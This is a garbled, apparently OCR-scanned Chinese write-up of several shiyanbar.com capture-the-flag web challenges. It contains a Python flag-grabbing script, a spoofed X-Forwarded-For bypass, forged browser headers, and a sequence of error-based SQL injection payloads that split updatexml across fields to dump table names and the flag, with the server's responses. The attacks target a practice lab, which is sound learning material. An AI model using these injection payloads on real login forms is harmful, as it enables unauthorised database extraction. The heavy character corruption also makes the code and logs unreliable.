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There is no martial art is indefectible, while the fastest speed is the only way for long success.
>>>>>>----You must do it as fast as you canl----<<<<<<
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Content-Type: text/html
Date: Sat, 22 Sep 2018 12:07:13 GMT

FLAG: UDBTVFOUSE1TX1QwXeNINESHRVSGTDRHOF1CTWZnZjdGeg==

Keep-Alive: timeout=5, max=1080

Server: Apache/2.4.18 (Win32) OpenSSL/1.8.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29

¥ Request Headers view source
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/webp,i
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=0.9
Cache-Control: max-age=8
Connection: keep-alive
Cookie: Hm_lvt_34d6f7353ab@915a4c582e4516dffbc3=1537348924,1537615693; Hm_
gl; Hm_lpvt_34d6f7353ab8915a4c582e4516dffbc3=1537617769

. Host: ctf5.shiyanbar.com
1 requests | 513 B transferred | Finish: 65 ms | DOMCo...
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https://blog.csdn.net/weixin_34270606
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
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import requests
import base64

url ="http://ctf5.shiyanbar.com/web/10/10.php"
r = requests.get(url=url)
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key =base64.b64decode(r.headers["flag"].encode( 'utf-8"'))
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ans =str(key, 'utf-8").split(':")

key =ans[1]

data ={"key":key}

#Ri%postiFR

r = requests.post(url=url,data=data)
print(r.text)
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HTTP/1.1 200 OK

Date: Sat, 22 Sep 2018 12:45:23 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Row: MTUzNzYxOTkOMw==

Content-Length: 132

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

<form method="POST' action=""'>
Input your pass key:
<input name='pass_key' type='text'></input>

<input type='submit'/>
</form>
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<!-- $password=$_POST[ 'password'];
$sgql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;

}
elseq{

echo 'HEMBEER! ',
}o-->
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<?php
function GetIP(){
if(lempty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;

}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *¥¥¥xkiokki.

)

else{

echo "#R! RMIPAREV HFIRZA! ";
)

?>
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X-FORWARDED-FOR: 1.1.1.1
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You don't have permission to access / on this server.
Please make sure you have installed .net framework 9.9!

Make sure you are in the region of England and browsing this site with Internet Explorer

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64 ; .NET CLR 9.9) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/68.0.3440.106 Safari/537.36
Accept-Language: en-gb,en;q=0.9
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<l-- $sqgl="select * from users where username='$username' and password='$password'"; -->

Al LLE R BB 5 %, — . usernam=1'&password=2
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POST fweb/baocucdindex. php HTTPM.1 : HTTR/M.1 200 OK

Host: ctfa.shiyanbar.com Date: Sun, 23 Sep 2018 07:58:16 GMT

UserAgent: Mozilla/5.0 (Windows NT 10.0; WinB4, x64; rv61.0) Gecko/20100101 Firefox/61.0 Server: Apache2.4.18 (Win32) OpenSSLA1.0.2e PHP/A.3.29
Accept: text/html application/xhtml+xml applicationfxml;g=0.9 **q=0.8 X¥-Powered-By: PHP/E.3.29

Accept-Language: zh-CN,zh;q=0.8, zh-TW,q=0.7 ,zh-HK;q=0.5 en-US; =03 en;q=0.2 Content-Length: 152

Accept-Encoding: gzip, deflate Connection: close

Referer: http://ctfo. shivanbar. comiweb/baocuafindex. php Content-Type: text/html

Content-Type: application/x-www-form-urlencoded

Content-Length: 22 <br=You have an error in your SQL syntax; check the manual that corresponds to your

Connection: close MySQL server version for the right syntax to use near 2" at line 1
Upgrade-Insecure-Requests: 1

username=1'&password=2
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POST fweb/baccuo/index.php HTTRPM 1 : HTTR/1.1 200 Ok

Host: ctfo.shiyanbar.com Date: Sun, 23 Sep 2018 08:00:56 GMT

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv61.0) Gecko/20100101 Firefox/61.0 Server: Apache/2.4.18 (Win32) OpenSSL1.0.2e PHP/A.3.29
Accept: text/html,application/xhtml+xml application/xml g=0.9 **,q=0.8 X-Powered-By: PHP/5.3.29

Accept-Language: zh-CH,zh;q=0.8,zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;g=0.3 en;q=0.2 Content-Length: 70

Accept-Encoding: gzip, deflate Connection: close

Referer: http://ctfs shiyanbar.comiweb/baocuc/index. php Content-Type: text/html

Content-Type: application/s-www-form-urlencoded

Content-Length: 31 <center style="colorred><h1=Sql injection detected</h1=</center=<br>
Connection: close

Upgrade-Insecure-Requests: 1

username=1"+or+'1="%password=2
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select * from users where username='$username' and password='$password' WRENIENS
Fusername=1/*&password=*/2 4 & )5 KISQLIE A 5k =&

select * from users where username=1/* and password=*/2 =&)X — ¥ TR T .
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-- BB EA
username=1'or+updatexml/*&password=*/(1,concat(0x7e, (database()),0x7e),1)+or+"
XPATH syntax error: '~error_based_hpf~'

--BRA

username=1'or+updatexml/*&password=*/(1,concat(@x7e, (select+group_concat(table_name)+from+information_schem
XPATH syntax error: '~ffll44jj,users~"'

--1B5 4

username=1'or+updatexml/*&password=*/(1,concat(@x7e, (select+group_concat(column_name)+from+information_sche

XPATH syntax error: '~value~'

username=1'or+updatexml/*&password=*/(1,concat(@x7e, (select+value+from+ffll44jj),0x7e),1)+or+"
XPATH syntax error: '~flag{err@r_bdsed_sqli_+ hpf}~'

8, T:https://www.cnblogs.com/Triomphe/p/9670756.html



	实验吧 Web的WriteUp
	0x01 天下武功唯快不破
	0x02 猫捉老鼠
	0x03 后台登录
	0x04 貌似有点难
	0x05 what a fuck!这是什么鬼东西?
	0x06 头有点大
	0x07 加了料的报错注入


